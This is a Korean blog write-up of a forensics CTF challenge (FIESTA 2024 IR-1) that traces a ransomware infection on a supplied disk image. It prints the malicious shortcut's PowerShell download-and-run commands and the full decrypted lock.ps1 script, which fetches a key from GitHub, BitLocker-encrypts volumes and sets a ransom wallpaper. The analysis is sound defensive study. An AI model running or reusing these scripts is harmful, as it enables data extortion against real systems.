foreaser 님의 블로그
금융보안원 피에스타 2024(Fiesta 2024) IR-1 Write-up 본문
침해사고 대응(IR) 파트는 총 5개의 문제가 있었으며
1,2,5 번은 PC 이미지를 주고 분석하는 형식,
3,4 번은 악성코드로 의심되는 파일을 주고 분석하는 형식이었다.
대회에서 제공한 파일을 다운로드 받으면 분할된 vmdk파일들이 존재한다. FTK imager로 "Windows 10 x64.vmdk" 메인 파일을 열어서 여러 포터블 도구들로 분석해도 되고 통합 포렌식도구(autopsy, axiom 등)를 이용해도 좋을 듯했다.
나는 Magnet Axiom을 이용해 분석해보았다.
(실제 대회 당시에 풀이한 내용보다 글 작성 시 재구성하며 추가된 내용이 있어 풀이가 조금 길다.)
제일 먼저 Axiom Process로 vmdk 파일을 Axiom에 불러오면 시나리오에 맞게 특정 파티션이 암호화 되어있음을 확인할 수 있다. 키를 넣고 복호화할 것이냐는 팝업창이 뜨지만 키를 모르기 때문에 해당 파티션은 제외하고 분석을 진행하면 된다.
제일 먼저 유저 계정의 다운로드 폴더를 보면 "국내코로나19재감염사례현황.pdf.lnk" 파일이 보인다.
해당파일을 export 해보자.
+
IR 문제들을 몇 번 경험해보니 문서파일열람(최초 공격벡터) -> 악성스크립트 실행 흐름이 많이 보여 문서의 링크파일을 분석해보았다.
바로가기 파일이므로 LECmd로 분석을 해보았다. 파워쉘 스크립트가 나타나며 pdf의 바로가기가 아닌
cmd.exe의 바로가기다.
파워쉘 스크립트는 다음과 같다.
Invoke-WebRequest -Uri 'http://172.22.224.1:7777/123.pdf' -OutFile 'C:\Users\Public\국내코로나19재감염사례현황.pdf';
Invoke-WebRequest -Uri 'http://172.22.224.1:7777/1.exe' -OutFile 'C:\Users\Public\1.exe';
Start-Process -FilePath 'C:\Users\Public\국내코로나19재감염사례현황.pdf';
Start-Process -FilePath 'C:\Users\Public\1.exe';
국내코로나19재감염사례현황.pdf 을 클릭하면 cmd에 위 파워쉘 명령이 전달된다.
명령을 해석해보면
http://172.22.224.1:7777 에서 로컬의 C:\Users\Public로 123.pdf를 가져오고 이름을 국내코로나19재감염사례현황.pdf 로 바꾼다.
그 다음 1.exe를 가져온 다음 pdf와 1.exe를 모두 실행시킨다.
Axiom과 FTK imager로 확인했을 때 실제로 http://172.22.224.1:7777 에서 받아온 파일을 확인할 수 있었다.
1.exe은 version.dll을 인젝션하는 내용이고
wiping.ps1는 lock.ps1을 지우는 역할,
pdf는 열어보니 실제 pdf 파일.
정리하자면,
사용자로 하여금 의심을 피하기 위해 이름만 pdf였던 cmd.exe를 실행시킨 다음 실제 pdf를 보여주며 뒤에서는 1.exe를 실행시키는 악성행위를 하는 파일.
이제 1.exe의 실행기록을 확인해보러 프리패치를 확인해보자.
마지막 실행시각이 "2024-08-13 오전 10:15:22" (UTC+9) 이다. 실제 악성행위는 해당시각 이후 벌어졌을 것.
추가로 랜섬웨어 감염 시스템이니 랜섬노트도 확인해보자
사용자 바탕화면 폴더에 접근하면 위 사진 처럼 이미지와 랜섬노트를 확인할 수 있다.
파일을 암호화했으니 지갑주소로 0.1 비트코인을 보내라는 메시지다.
해당 파일(랜섬노트)의 생성시각을 확인해보자
2024-08-13 AM 10:15:57.767 (UTC+9) 에 생성됨을 확인했다.
1.exe가 실행되고 나서 여러 행위들을 하느라 30초정도 지난 후에 랜섬노트가 생성되었다고 볼 수 있다.
타임라인을 통해 당시간 대 주 OS아티팩트를 분석해보면 된다.
해당 시간 대를 위주로 분석하다 파워쉘 관련 로그를 찾았다. 파워쉘 로그는 ConsoleHost_history.txt 파일에 기록되므로 해당파일을 살펴보자.
ConsoleHost_history.txt 파일을 확인해보면 위와 같이 악성스크립트 로그를 확인할 수 있다.
로그를 확인해보면 스크립트 실행 정책 수정, 레지스트리 값 수정 등의 코드가 실행되었음을 알 수있다. 그 중
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/imnothackerkkk/key/main/lock.ps1' -OutFile 'C:\\Users\\Public\\lock.ps1'`
Start-Process 'powershell.exe' -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File "C:\\Users\\Public\\lock.ps1"' -VerbRunAs -Wait
위 두개의 코드를 보자.
첫번 째 코드는 github에서 lock.ps1을 다운로드하여 C:\User\Public\ 경로에 lock.ps1 이라는 이름으로 저장하는 코드다.
두번 째 코드는 다운로드 받은 ps1 스크립트 파일을 실행하는 코드다.
wiping.ps1이 lock.ps1을 지웠기 때문에
lock.ps1 을 가져오는 파워쉘 스크립트의 깃허브 주소로 직접 접근해보자.
일단 코드 내에서 파일을 가져오기 위해 raw.githubusercontent.com/{ } 형식의 주소를 이용했는데 이는 레포 내의 파일을 직접 제공하는 주소로서 위 주소가 아닌 일반 깃헙레포지토리 주소를 통해 접근해야한다.
https://raw.githubusercontent.com/imnothackerkkk/key -> https://github.com/imnothackerkkk/key
imnothackerkkk - Overview
imnothackerkkk has 2 repositories available. Follow their code on GitHub.
github.com
key 레포 내 파일들을 보면 랜섬노트와 lock.ps1을 지우는 파워쉘 코드 등이 포함되어 있다.
추가로 imnothackerkkk 계정의 다른 레포지토리를 확인해보자.
enc라는 또 다른 레포지토리를 확인할 수 있고 이 안에는 enc.exe 실행파일과 lock_encrypted.ps1 파워쉘 스크립트를 확인할 수 있다.
exe는 lock.ps1 을 XOR암호화 하는 툴이라고 한다.
lock_encrypted.ps1의 이름을 통해 이 파일이 찾고있던 lock.ps1 스크립트가 XOR 암호화 된 상태임을 알 수 있다.
예상한대로 암호화되어있으며 스크립트가 아닌 알수없는 바이트들이 확인된다.
enc.exe 파일을 IDA를 통해 확인해보면 lock.ps1파일을 "specialllll!!!!!!!" 문자열을 키로서 XOR암호화하는 로직을 확인할 수 있다. 그러나 exe를 직접 실행하기엔 꺼림칙하기에 직접 XOR복호화 코드를 작성해서 ps1을 복호화 해보자.
import sys
key = "specialllll!!!!!!!"
file_path = sys.argv[1]
with open(file_path, 'rb') as f:
data = f.read()
key_bytes = key.encode()
encrypted_data = bytearray()
for i in range(len(data)):
encrypted_data.append(data[i] ^ key_bytes[i % len(key_bytes)])
output_path = "decrypted_" + file_path
with open(output_path, 'wb') as f:
f.write(encrypted_data)
복호화된 파일이 생성되었다.
복호화된 lock.ps1 스크립트 :
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & { $scriptBlock }" -WindowStyle Hidden
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret";
$fileContent = Invoke-RestMethod -Uri $rawUrl
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
foreach ($volume in $volumes) {
if ($volume.MountPoint -ne $osVolume) {
Enable-BitLocker -MountPoint $volume.MountPoint -EncryptionMethod Aes128 -PasswordProtector $key
Disable-BitLockerAutoUnlock -MountPoint $volume.MountPoint
Get-BitLockerVolume -MountPoint $volume.MountPoint
}
}
$Url1 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/ransomnote.jpg"
$Url2 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/readme.txt"
$desktopPath = [System.Environment]::GetFolderPath("Desktop")
$destinationPath1 = Join-Path -Path $desktopPath -ChildPath "note.jpg"
$destinationPath2 = Join-Path -Path $desktopPath -ChildPath "readme.txt"
Invoke-WebRequest -Uri $Url1 -OutFile $destinationPath1
Invoke-WebRequest -Uri $Url2 -OutFile $destinationPath2
$imageFileName = "note.jpg"
$imagePath = Join-Path -Path $desktopPath -ChildPath $imageFileName
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Wallpaper
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}
"@
$SPI_SETDESKWALLPAPER = 20
$SPIF_UPDATEINIFILE = 0x01
$SPIF_SENDCHANGE = 0x02
[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $imagePath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE)
Restart-Computer -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret";
$fileContent = Invoke-RestMethod -Uri $rawUrl
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
위 코드는 깃헙에서 키를 가져오는 코드고, 최종적으로 secret을 문자열처리하여 key 변수에 넣는다.
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
foreach ($volume in $volumes) {
if ($volume.MountPoint -ne $osVolume) {
Enable-BitLocker -MountPoint $volume.MountPoint -EncryptionMethod Aes128 -PasswordProtector $key
Disable-BitLockerAutoUnlock -MountPoint $volume.MountPoint
Get-BitLockerVolume -MountPoint $volume.MountPoint
}
}
파워쉘을 통해 특정 볼륨을 비트라커 암호화.
다음은 Chat GPT 가 알려주는 코드 해석이다.
|
또, note.jpg, readme.txt를 가져오고 바탕화면으로 설정하는 코드도 보인다.
아무튼 문제해결을 위해 중요한 건 Key (secret) 다.
secret 내용은 위와 같으며
key는 Giveme the100BTC!!!
dll과 key를 찾았으니
이젠 설계도에 적힌 가격을 찾아야하는데
링크 파일을 확인하던 중
"잠수함설계도면" 파일이 사진 파일임을 확인하고 사진을 한번이라도 봤다면 해당 사진의 썸네일이
Thumbcache.db에 있을 것이라는 생각에 확인해보았다.
Thumbcache.db는
Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_{썸네일크기}.db
위치에 저장되어있다.
역시나 있었고 AXIOM 에서도 확인가능했다.
따라서 최종 Flag는
FIESTA{version.dll_Giveme the100BTC!!!_150000$}
재밌게도 암호화된 볼륨을 굳이 복호화하지 않아도 풀 수 있었다.
IR 공부하는 사람들은 한번 풀어보기 좋은 문제인 듯
'CTF > Digital Forensic' 카테고리의 다른 글
ctf-d disk(도와주십시오, 누군가…) (4) | 2024.11.01 |
---|---|
ctf-d disk(범죄자는 자신의 인생을...) (0) | 2024.11.01 |
SuNiNaTaS - 32 (0) | 2024.11.01 |
ctf-d disk(X 회사의 재정 정보를 훔치기…) (0) | 2024.11.01 |
ctf-d disk(파일에서 플래그를 찾아라.) (0) | 2024.11.01 |